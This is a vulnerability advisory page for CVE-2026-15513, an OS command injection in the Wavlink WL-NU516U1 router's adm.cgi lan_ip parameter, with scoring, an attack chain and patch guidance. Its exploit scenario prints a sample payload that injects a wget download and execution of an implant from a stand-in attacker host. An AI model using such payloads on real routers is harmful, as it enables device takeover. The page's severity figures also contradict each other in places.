Skip to main content

Wavlink WL-NU516U1 CVE-2026-15513

| EUVDEUVD-2026-43254 LOW
OS Command Injection (CWE-78)
2026-07-12 VulDB GHSA-f39c-wxvq-c7vx
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privilege credentials or craft CSRF lure
  2. Delivery
    Send crafted HTTP POST to /cgi-bin/adm.cgi
  3. Exploit
    Inject shell metacharacters in lan_ip parameter
  4. Execution
    wlink_uci_set_value executes unsanitized OS command
  5. Impact
    Achieve arbitrary code execution on router OS

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires low-privilege authenticated access to the router's web administration interface, confirmed by the CVSS 4.0 PR:L metric. The attacker must be able to submit HTTP requests to /cgi-bin/adm.cgi on the device. A secondary exploitation path via Cross-Site Request Forgery is indicated by the public PoC repository name, which could enable exploitation by tricking an authenticated administrator's browser into issuing the malicious request - this lowers the effective barrier to credential possession. Exploitation is constrained to: the WL-NU516U1 hardware model specifically, firmware versions prior to the June 22, 2026 patch, and requires either valid credentials or a social engineering vector for the CSRF path. Devices with WAN-side remote management disabled are not directly reachable by external network attackers, though LAN-side or CSRF-based attacks remain possible.

Impact

The vendor-supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) with exploit maturity E:P produces a score of 5.3 Medium. However, the low impact metrics (VC:L/VI:L/VA:L) appear significantly conservative for an OS command injection vulnerability on a network appliance - in practice, such a flaw typically yields root-level arbitrary code execution, granting full device compromise including access to all traffic routed through the device. No EPSS data was provided in the input, so exploitation probability cannot be quantified. The vulnerability is not listed in CISA KEV, indicating no confirmed widespread active exploitation at time of analysis. The availability of a public PoC on GitHub (E:P confirmed) substantially lowers the barrier for opportunistic exploitation. Despite the medium CVSS score, any authenticated OS command injection on a device in the network path should be treated as a high operational priority. The PoC repository name references CSRF, suggesting an additional exploitation path that could reduce the effective authentication requirement for attackers who can lure authenticated administrators to malicious pages.

Exploit ScenarioDerived

An attacker with low-privilege authenticated access to the Wavlink WL-NU516U1 admin panel sends a crafted POST request to /cgi-bin/adm.cgi with the lan_ip parameter containing shell injection characters (e.g., '192.168.1.1;wget http://attacker.com/implant -O /tmp/x;chmod +x /tmp/x;/tmp/x'). The wlink_uci_set_value function passes the unsanitized value directly into an OS command, executing the injected payload at the privilege level of the web server process. A public proof-of-concept including a CSRF delivery variant is available at https://github.com/0xcc12138/wavlink-nu516u1-csrf-command-injection-, enabling exploitation of authenticated administrators without requiring direct credential theft.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 1.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 13, 2026

OS command injection in the Wavlink WL-NU516U1 router's CGI web administration interface allows authenticated network attackers to execute arbitrary operating system commands by injecting shell metacharacters into the lan_ip parameter of the adm.cgi endpoint. The wlink_uci_set_value function passes attacker-controlled input unsanitized into OS-level commands, enabling full compromise of the underlying Linux-based router OS. A public proof-of-concept exploit is available on GitHub (no public exploit identified at time of analysis for KEV), and the vendor has released a patched firmware as of June 22, 2026.

RemediationAI

Upgrade to the vendor-patched firmware released June 22, 2026: WINSTAR_NU516U1-WO-A-2026-06-22-5ccde97-mt7628-squashfs-sysupgrade.bin, available directly from Wavlink at https://dl.wavlink.com/firmware/RD/WINSTAR_NU516U1-WO-A-2026-06-22-5ccde97-mt7628-squashfs-sysupgrade.bin. As an interim measure prior to patching, disable WAN-side remote management to eliminate the network attack vector for external unauthenticated parties - note this does not protect against LAN-side authenticated attackers or the CSRF delivery path. Additionally, restrict access to /cgi-bin/adm.cgi to trusted management workstations via firewall rules or ACLs, and avoid accessing the router admin interface from browsers used for general web browsing to reduce CSRF exposure. Changing default credentials is advisable but does not remediate the injection flaw itself.

Affected VersionsENISA

WL-NU516U1 260515

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Wavlink WL-NU516U1 is a SOHO router built on the MediaTek MT7628 chipset running an OpenWrt-derived firmware. Administrative functions are exposed through CGI scripts, specifically /cgi-bin/adm.cgi. The wlink_uci_set_value function - responsible for applying UCI (Unified Configuration Interface) network settings such as LAN IP configuration - fails to neutralize special shell characters in the lan_ip argument before constructing OS-level commands, constituting a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command). By injecting metacharacters such as semicolons, backticks, or pipes into the lan_ip parameter, an attacker breaks out of the intended command context and executes arbitrary payloads on the host OS. The affected product is identified by CPE cpe:2.3:a:wavlink:wl-nu516u1:*:*:*:*:*:*:*:*, with the wildcard version field indicating the flaw spans multiple firmware builds prior to the June 2026 patch.

Know when Wl Nu516U1 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 8.8 HIGH

Network-accessible CGI endpoint requires low-privilege auth (PR:L); OS command injection on a router realistically yields full device control, warranting C:H/I:H/A:H.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jul 13, 2026 - 00:22 NVD
MEDIUM LOW
CVSS changed
Jul 13, 2026 - 00:22 NVD
5.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A security flaw has been discovered in Wavlink WL-NU516U1 260515. This affects the function wlink_uci_set_value of the file /cgi-bin/adm.cgi. Performing a manipulation of the argument lan_ip results in os command injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. You should upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.

Threat Intelligence Overview

EPSS Score
1.4%
Top 30% exploitable
Prevalence
Low
niche SOHO router brand with minimal enterprise deployment footprint
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.4%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy